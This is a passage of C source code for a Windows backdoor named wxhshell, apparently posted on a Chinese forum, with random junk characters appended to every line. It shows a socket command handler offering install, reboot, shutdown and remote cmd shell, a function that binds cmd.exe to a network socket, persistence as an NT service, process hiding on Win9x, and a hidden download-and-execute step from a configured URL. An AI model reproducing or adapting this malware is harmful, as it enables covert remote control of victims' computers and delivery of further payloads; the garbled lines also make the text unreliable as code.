  // 帮助 &;DCN  
  case '?': { y!b2;- Dp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JP>EW&M  
    break; GHsDZ(d3.  
  } s<!A< +Sh  
  // 安装 JWNN5#=fQ  
  case 'i': { W Z'<iI  
    if(Install()) >V"{]v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9<gW~ s>  
    else //&3{B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &W\e 5X<A  
    break; ?MH=8Cl1w  
    } `i`P}W!F  
  // 卸载 w|f+OlPXq  
  case 'r': { y!b"Cj  
    if(Uninstall()) f)Qln[/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \@@G\\)er  
    else "yu{b]AU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WsHD Ip  
    break; #:?:gY<  
    } BZ?w}%-MO  
  // 显示 wxhshell 所在路径 JN8Rh  
  case 'p': { aT,WXW*  
    char svExeFile[MAX_PATH]; c}@E@Y`@w  
    strcpy(svExeFile,"\n\r"); I'5[8  
      strcat(svExeFile,ExeFile); sX"L\v  
        send(wsh,svExeFile,strlen(svExeFile),0); ntIR#fB  
    break; /dCsZA  
    } y6$a:6  
  // 重启 JG;}UuHYM  
  case 'b': { uH89oA/H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QBa+xI_ J  
    if(Boot(REBOOT)) *$9U/  d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WOO3z5 La  
    else { L(3&,!@  
    closesocket(wsh); "]eB2k_>  
    ExitThread(0); U6-47m0%  
    } Mi.#x_  
    break; ;` L%^WZ;-  
    } k+"];  
  // 关机 ep8UWxB5  
  case 'd': { |sGJum&=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,a>Dv@$Y  
    if(Boot(SHUTDOWN)) vv)q&,<c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;pm/nu  
    else { ;MQl.?vj  
    closesocket(wsh); N:B<5l '  
    ExitThread(0); t^&hG7L_m,  
    } l;q]z  
    break; ]G i&:k  
    } "M:ui0YP  
  // 获取shell \`y:#N<c  
  case 's': { N8nt2r<h  
    CmdShell(wsh); UlWmf{1%]?  
    closesocket(wsh); >,,`7%Rv  
    ExitThread(0); FRxR/3&  
    break; d./R;Z- I{  
  } @;O"-7Kk  
  // 退出 Jj)J5 S /  
  case 'x': { b}(c'W*z%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;gL{*gR]S  
    CloseIt(wsh); mX>N1zAz  
    break; @G;9eh0$  
    } +s<6eHpm  
  // 离开 {>km]CG  
  case 'q': { reR@@O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iY>P7Uvvz  
    closesocket(wsh); >)D=PvGlmp  
    WSACleanup(); Ys.GBSlHG  
    exit(1); .-YE(}^  
    break; @KM?agtlbl  
        } 3D6&0xTq  
  } B*:I-5  
  } 0:Bpvl5  
%<^^ Mw  
  // 提示信息 bGwOhd<.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v{$?Ow T/u  
} TFOx=_.%i  
  } Wu6'm &t  
Lv@WI6DM  
  return; UIU Pi gd  
} qMEd R;o  
0to`=;JI  
// shell模块句柄 nP[Z6h  
int CmdShell(SOCKET sock) KC"S0 6  
{ NU_^*@k  
STARTUPINFO si; |*48J1:1y  
ZeroMemory(&si,sizeof(si)); .RmFYV0,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sf$hsPC^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6*B%3\z)  
PROCESS_INFORMATION ProcessInfo; GPni%P#a@0  
char cmdline[]="cmd"; ts<\n-f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rV\G/)xL  
  return 0; UB+~K/  
} /*;a6S8q  
0e&&k  
// 自身启动模式 4IW fp&Q!  
int StartFromService(void) --diG$x.  
{ >!qtue7B  
typedef struct HY_>sD  
{ CF3x\6.q}  
  DWORD ExitStatus; R<f F ^^  
  DWORD PebBaseAddress; p8XvfM  
  DWORD AffinityMask; 4RctYMz  
  DWORD BasePriority; _N:$|O#  
  ULONG UniqueProcessId; 8VG}-   
  ULONG InheritedFromUniqueProcessId; Pm#/j;  
}   PROCESS_BASIC_INFORMATION; !\|  
9{3_2CIL  
PROCNTQSIP NtQueryInformationProcess; [f\Jcjc  
IG|u;PH<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <V)z{uK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NA$)qX_  
u`wD6&y*  
  HANDLE             hProcess; QDj%m%Xd  
  PROCESS_BASIC_INFORMATION pbi; c|3oa"6T>  
)-"<19eu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]35`N<Ac  
  if(NULL == hInst ) return 0; MA_YMxP.'  
M._E$y,5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "c} en[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CT_tJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v6DjNyg<x  
>l8?B L  
  if (!NtQueryInformationProcess) return 0;  RSj8T<  
/tG as  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s]e `q4ip  
  if(!hProcess) return 0; 8 pf]M&  
gFuK/]gzI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QxPPgn7'  
>&fD:y'&  
  CloseHandle(hProcess); Kg~D~ +j  
QuMv1)n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G>:v1lde  
if(hProcess==NULL) return 0; uX!6: v]  
iVnMn1h  
HMODULE hMod; *jQ$\|Y  
char procName[255]; <V}q8k  
unsigned long cbNeeded; BPkL3Ev1V  
-rYb{<;ST  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L<oQKe7Q:  
T~$Eh6 D  
  CloseHandle(hProcess); _'Jjt9@S  
L|<j/bP  
if(strstr(procName,"services")) return 1; // 以服务启动 b 1.S21  
L_9uwua.B~  
  return 0; // 注册表启动 $DfK}CT  
} WI| -pzg  
,_H H8[&  
// 主模块 ah<p_qe9|  
int StartWxhshell(LPSTR lpCmdLine) '\d ldg#P  
{ BUwL?  
  SOCKET wsl; 0\"#Xa+}8  
BOOL val=TRUE; <uBRLe`)  
  int port=0; huA?*fat   
  struct sockaddr_in door; qZ E3T:S  
A@_>9;   
  if(wscfg.ws_autoins) Install(); ~9APc{"A  
jP/Vqe%%8  
port=atoi(lpCmdLine); z &P1C,n)  
5m'AT]5Tn_  
if(port<=0) port=wscfg.ws_port; d3\?:}o,  
4D n&+=fq  
  WSADATA data; t zd#9 #  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z5oDj|&l}  
_#v"sGmN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l]D $QT3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "y*3p0E  
  door.sin_family = AF_INET; t90M]EAV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {hOS0).(w7  
  door.sin_port = htons(port); (Nz`w  
"CC"J(&a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nz3+yxv1  
closesocket(wsl); [ *It' J^  
return 1; 55ec23m  
} N;YFr  
a+J>  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Q>:vQ+E  
closesocket(wsl); oV['%Z'  
return 1; VI9rezZ*  
} Oq% TW|a#  
  Wxhshell(wsl); :4 z\Q]  
  WSACleanup(); oB!Y)f6H1  
UkD\ma  
return 0; [O^/"Qk  
T=~d. &J  
} /N%i6t<xU  
l i?@BHEf  
// 以NT服务方式启动 + \%]<YO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ox<&T|  
{ 2G-"HOG  
DWORD   status = 0; `WCL-OoZc5  
  DWORD   specificError = 0xfffffff; stfniV  
\ ;]{`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t oDi70o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ( sl{Rgxe*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u/|@iWK:  
  serviceStatus.dwWin32ExitCode     = 0; b'SP,}s5"  
  serviceStatus.dwServiceSpecificExitCode = 0; Kv1~,j6  
  serviceStatus.dwCheckPoint       = 0; 2`;XcY4A  
  serviceStatus.dwWaitHint       = 0; 1}c /l<d  
*XWu)>*o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H[s+.&^  
  if (hServiceStatusHandle==0) return; GTfM *b  
aj|PyX3P:  
status = GetLastError(); #6#n4`%ER  
  if (status!=NO_ERROR) R!/JZ@au<  
{ 4P)#\$d:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  ? .SiT5  
    serviceStatus.dwCheckPoint       = 0; ]D5Maid+  
    serviceStatus.dwWaitHint       = 0; bWb/>hI8 Q  
    serviceStatus.dwWin32ExitCode     = status; t {1 [Ip  
    serviceStatus.dwServiceSpecificExitCode = specificError; nG5\vj,zB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3t.!5 L  
    return; v4E=)?  
  } 'l\PL1  
Hci>q`p#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bcT_YFLQ  
  serviceStatus.dwCheckPoint       = 0; YWd2bRb  
  serviceStatus.dwWaitHint       = 0; `)]W~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D9P,[:"  
} eLh35tw  
kR^">s/H#  
// 处理NT服务事件,比如:启动、停止 MIkp4A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .eVX/6,  
{ gn/]1NNfR  
switch(fdwControl) ?&,6Y'"  
{ SfPQ;s'  
case SERVICE_CONTROL_STOP: ,vvfk=-  
  serviceStatus.dwWin32ExitCode = 0; !wd wo0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wDoCc:  
  serviceStatus.dwCheckPoint   = 0; c-NUD$  
  serviceStatus.dwWaitHint     = 0; &@{`{  
  { dVMl;{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ca?w"m~h  
  } sl$y&C-  
  return; !<j4*av:G  
case SERVICE_CONTROL_PAUSE: +?3RC$jyw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [#\OCdb*3  
  break; E$:2AK{*  
case SERVICE_CONTROL_CONTINUE: "WGKwi=W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rl0"9D87z  
  break; M^HYkXn[  
case SERVICE_CONTROL_INTERROGATE: [3S17tTc3  
  break; yp=sL' E  
}; X#0yOSR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5M'cOJ  
} 9cN@y<_I  
$4ZV(j]  
// 标准应用程序主函数 By!u*vSev  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FVP,$  
{ nXfz@q  
O,^s)>c  
// 获取操作系统版本 Yyd}>+|<,  
OsIsNt=GetOsVer(); Cpd>xXZz&S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u:(=gj,~x  
0^J%&1aIc  
  // 从命令行安装 4%qmwt*p  
  if(strpbrk(lpCmdLine,"iI")) Install(); X1o R  
s8]%L4lvu  
  // 下载执行文件 H@zv-{}T8  
if(wscfg.ws_downexe) { (ESFR0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mP15PZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); $(0<T<\  
} |p+FIr+  
qR2cRepV  
if(!OsIsNt) { (d NF)(wn  
// 如果时win9x,隐藏进程并且设置为注册表启动 1z2v[S&pk  
HideProc(); IN1 n^f$:  
StartWxhshell(lpCmdLine); #2Q%sE?  
} %j17QD8  
else |SMigSu r`  
  if(StartFromService()) #>_fYjT  
  // 以服务方式启动 }2BNy9q@  
  StartServiceCtrlDispatcher(DispatchTable); d@*dbECG  
else +N,Fq/x  
  // 普通方式启动 ? B|i  
  StartWxhshell(lpCmdLine); im:[ViR {  
9%ct   
return 0; 6OC4?#96%'  
}
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只看该作者 1 发表于: 2006-10-10
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